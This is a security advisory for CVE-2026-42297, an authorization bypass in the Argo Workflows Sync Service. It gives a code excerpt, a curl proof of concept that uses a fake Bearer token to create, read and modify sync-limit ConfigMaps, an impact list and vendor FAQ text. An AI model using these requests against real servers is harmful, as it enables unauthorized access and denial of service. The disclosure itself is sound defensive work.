CVE-2026-42297

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user, including those using fake Bearer tokens, can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go, UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}

• server/sync/sync_cm.go, lines 23-155
• All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

• Argo Server running with --auth-mode=server
• Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default

NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Related CVEs

• CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints, same root cause (missing auth.CanI check)
• CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass, same pattern

An attacker with network access to the Argo Server can:

1. Denial of Service, Set sync limits to 0 or 1, blocking all parallel workflow execution
2. Workflow Disruption, Modify existing sync limits to break running workflows
3. Information Disclosure, Read ConfigMap data that may contain sensitive configuration
4. Arbitrary ConfigMap Manipulation, Create/delete ConfigMaps in any namespace accessible to the server's service account

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

Kodem intelligence

1. What is CVE-2026-42297? CVE-2026-42297 is a high-severity missing authorization vulnerability in github.com/argoproj/argo-workflows/v4 (go), affecting versions >= 4.0.0, < 4.0.5. It is fixed in 4.0.5. The application does not perform an authorization check before performing a sensitive operation.
2. Which versions of github.com/argoproj/argo-workflows/v4 are affected by CVE-2026-42297? github.com/argoproj/argo-workflows/v4 (go) versions >= 4.0.0, < 4.0.5 is affected.
3. Is there a fix for CVE-2026-42297? Yes. CVE-2026-42297 is fixed in 4.0.5. Upgrade to this version or later.
4. Is CVE-2026-42297 exploitable, and should I be worried? Whether CVE-2026-42297 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-42297 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-42297? Upgrade github.com/argoproj/argo-workflows/v4 to 4.0.5 or later.